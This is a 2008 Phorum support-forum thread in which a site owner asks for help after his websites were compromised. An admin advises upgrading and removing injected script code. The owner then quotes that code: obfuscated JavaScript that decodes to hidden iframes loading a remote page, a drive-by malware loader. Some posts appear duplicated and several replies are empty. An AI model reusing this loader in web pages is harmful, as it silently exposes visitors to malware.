activex prompt
Posted by someoneismissing.com
activex prompt April 21, 2008 01:10AM |
Registered: 18 years ago Posts: 45 |
a couple of my missing person's sites were hit by something that wiped out the index and guest books via the viper guest book. i have/rent a dedicated server and it's had it's problems, so be it.
now, [peoplelookingforpeople.com] had a shell webview activex prompt and it freezes my computer. one of my other sites using zencart is doing the same thing.
i know i need to go to 5.2 with phorum but im afraid if i backup the database now, whatever the server has thats malicious on peoplelookingforpeople.com may come with the backup. im a novice but been with what i do for a few years and self taught. the peoplelookingforpeople.com is phorum, index to end.
don't go to the site if your wondering and don't know what's happening, is it possible the phorum script was compromised when my other script were? the prompt is and ONLY shows halfway on the bar in yellow, NOT fully, odd.... it says - shell webview content and control library
thanks ya'll
ps: why does spellcheck want to correct phorum?
now, [peoplelookingforpeople.com] had a shell webview activex prompt and it freezes my computer. one of my other sites using zencart is doing the same thing.
i know i need to go to 5.2 with phorum but im afraid if i backup the database now, whatever the server has thats malicious on peoplelookingforpeople.com may come with the backup. im a novice but been with what i do for a few years and self taught. the peoplelookingforpeople.com is phorum, index to end.
don't go to the site if your wondering and don't know what's happening, is it possible the phorum script was compromised when my other script were? the prompt is and ONLY shows halfway on the bar in yellow, NOT fully, odd.... it says - shell webview content and control library
thanks ya'll
ps: why does spellcheck want to correct phorum?
Re: activex prompt April 21, 2008 08:15AM |
Admin Registered: 22 years ago Posts: 9,240 |
so, what is your question?
not only that your phorum is not 5.2 yet (which wouldn't be much of a hassle) but its even a really old 5.1.15 version while 5.1.25 was the last 5.1 release by now. you should at least upgrade to that version.
it looks like some script tag was added either to the end of the scripts or the templates. I guess just all scripts got that added. you should remove that code ASAP.
if someone had access to your server through another script he could change each and every script accessible by the user your other scripts run at and therefore probably also to phorum.
Thomas Seifert
not only that your phorum is not 5.2 yet (which wouldn't be much of a hassle) but its even a really old 5.1.15 version while 5.1.25 was the last 5.1 release by now. you should at least upgrade to that version.
it looks like some script tag was added either to the end of the scripts or the templates. I guess just all scripts got that added. you should remove that code ASAP.
if someone had access to your server through another script he could change each and every script accessible by the user your other scripts run at and therefore probably also to phorum.
Thomas Seifert
Re: activex prompt April 21, 2008 09:15AM |
Registered: 18 years ago Posts: 45 |
Re: activex prompt April 21, 2008 09:22AM |
Admin Registered: 22 years ago Posts: 9,240 |
Re: activex prompt April 21, 2008 09:29AM |
Registered: 18 years ago Posts: 45 |
you mean like this on the index.php?
<///script////>var source ="=jgsbnf!tsd>#iuuq;00musbggjd/dd0sftpvsdf/qiq@je>5815'vtfs>xfcsppu#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?=jgsbnf!tsd>#iuuq;00musbggjd/dd0sftpvsdf/qiq@je>5813'vtfs>hpdpvoufs#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); <////script////>
i added those extra ///
<///script////>var source ="=jgsbnf!tsd>#iuuq;00musbggjd/dd0sftpvsdf/qiq@je>5815'vtfs>xfcsppu#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?=jgsbnf!tsd>#iuuq;00musbggjd/dd0sftpvsdf/qiq@je>5813'vtfs>hpdpvoufs#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); <////script////>
i added those extra ///
Re: activex prompt April 21, 2008 09:30AM |
Admin Registered: 22 years ago Posts: 9,240 |
Re: activex prompt April 21, 2008 09:32AM |
Registered: 18 years ago Posts: 45 |
Re: activex prompt April 21, 2008 10:41AM |
Admin Registered: 22 years ago Posts: 9,240 |
Sorry, only registered users may post in this forum.